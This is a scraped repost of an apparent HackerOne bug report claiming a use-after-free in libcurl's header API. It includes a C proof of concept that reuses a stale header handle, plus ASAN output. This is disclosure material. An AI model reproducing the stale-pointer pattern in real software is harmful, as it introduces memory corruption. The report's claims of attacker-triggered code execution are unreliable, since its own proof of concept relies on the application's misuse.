{“lastseen”:”2026-01-14T09:28:31″,”description”:”).\\nThe API returns struct curl_header objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL* handle, libcurl frees and rebuilds the internal header list, but previously returned struct curl_header objects remain valid to the application and are still accepted as input.\\n\\nPassing such a stale header object back to curl_easy_nextheader() causes libcurl to dereference a freed internal pointer, leading to a heap use-after-free.\\n\\nThis is a memory safety vulnerability reachable through normal API usage and attacker-controlled HTTP responses.\\n\\nAffected Versions\\n\\nAll libcurl versions that include the Headers API (curl_easy_header, curl_easy_nextheader)\\n\\nReproduced on:\\n\\nKali Linux libcurl (January 2026)\\n\\nLikely all current supported versions\\n\\nFile:\\nlib\/headers.c\\n\\nTechnical Analysis\\nVulnerable Design\\n\\ncurl_easy_nextheader() exposes struct curl_header to the application:\\n\\nstruct curl_header {\\n const char *name;\\n const char *value;\\n unsigned int amount;\\n unsigned int index;\\n unsigned int origin;\\n void *anchor; \/* internal Curl_llist_node *\/\\n};\\n\\n\\nThe anchor field stores a pointer to libcurl\u2019s internal linked list node:\\n\\ncopy_header_external(…, struct Curl_llist_node *e, …) {\\n h-\\u003eanchor = e;\\n}\\n\\n\\nLater, when a new request is performed, libcurl frees the internal header list:\\n\\nCurl_headers_cleanup(struct Curl_easy *data) {\\n for(e = Curl_llist_head(\\u0026data-\\u003estate.httphdrs); e; e = n) {\\n struct Curl_header_store *hs = Curl_node_elem(e);\\n curlx_free(hs);\\n }\\n}\\n\\n\\nHowever, previously returned struct curl_header objects remain valid in user code and can still be passed back to:\\n\\ncurl_easy_nextheader(CURL *easy, unsigned int type, int request,\\n struct curl_header *prev)\\n\\n\\nThis function blindly dereferences:\\n\\npick = prev-\\u003eanchor;\\npick = Curl_node_next(pick);\\n\\n\\nIf the header list has been freed and rebuilt, prev-\\u003eanchor now points to freed heap memory \u2192 use-after-free.\\n\\nThere is:\\n\\nNo invalidation of old struct curl_header\\n\\nNo generation tracking\\n\\nNo lifetime enforcement\\n\\nThe API contract does not state that header handles become invalid after a new request.\\n\\nProof of Concept\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n CURL *curl = curl_easy_init();\\n if(!curl) return 1;\\n\\n struct curl_header *h = NULL;\\n\\n \/* First request *\/\\n curl_easy_setopt(curl, CURLOPT_URL, \\”https:\/\/example.com\/\\”);\\n curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);\\n curl_easy_perform(curl);\\n\\n \/* Obtain and store a header *\/\\n h = curl_easy_nextheader(curl, CURLH_HEADER, -1, NULL);\\n printf(\\”saved header: %s: %s\\\\n\\”, h-\\u003ename, h-\\u003evalue);\\n\\n \/* Second request (frees and rebuilds internal header list) *\/\\n curl_easy_setopt(curl, CURLOPT_URL, \\”https:\/\/httpbin.org\/get\\”);\\n curl_easy_perform(curl);\\n\\n \/* Reuse stale header handle *\/\\n printf(\\”calling nextheader with stale prev…\\\\n\\”);\\n struct curl_header *h2 = curl_easy_nextheader(curl, CURLH_HEADER, -1, h);\\n if(h2)\\n printf(\\”next header: %s: %s\\\\n\\”, h2-\\u003ename, h2-\\u003evalue);\\n\\n curl_easy_cleanup(curl);\\n return 0;\\n}\\n\\nBuild and Run\\ngcc -fsanitize=address -g poc.c -lcurl -o poc\\n.\/poc\\n\\nASAN Output (Excerpt)\\nERROR: AddressSanitizer: heap-use-after-free\\nREAD of size 13\\nfreed by:\\n libcurl.so Curl_headers_cleanup\\nallocated by:\\n libcurl.so Curl_headers_push\\n\\n\\nThis confirms that curl_easy_nextheader() dereferences freed memory.\\n\\n## Impact\\n\\nSecurity Impact\\n\\nA malicious HTTP server can influence response headers and trigger a heap use-after-free in applications using libcurl\u2019s Headers API when multiple requests are performed on the same CURL* handle.\\n\\nThis can lead to:\\n\\nProcess crash (Denial of Service)\\n\\nHeap memory corruption\\n\\nPotential code execution depending on allocator state and surrounding memory\\n\\nThe vulnerability:\\n\\nIs reachable through documented public API\\n\\nIs triggered by attacker-controlled HTTP responses\\n\\nDoes not require MITM”,”published”:”2026-01-13T11:39:25″,”modified”:”2026-01-14T09:23:06″,”type”:”hackerone”,”title”:”curl: Use-After-Free in curl_easy_nextheader when reusing header handle across requests”,”source”:””,”references”:””,”id”:”H1:3508701″,”bulletinFamily”:”bugbounty”,”cwe”:null,”cvelist”:[],”sourceData”:””,”sourceHref”:””,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/hackerone.com\/reports\/3508701″,”category_name”:”News”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-14T09:28:31″,”description”:”).\\nThe API returns struct curl_header objects that internally reference libcurl-owned linked list nodes. When a new request is performed on the same CURL* handle, libcurl…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-35635","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n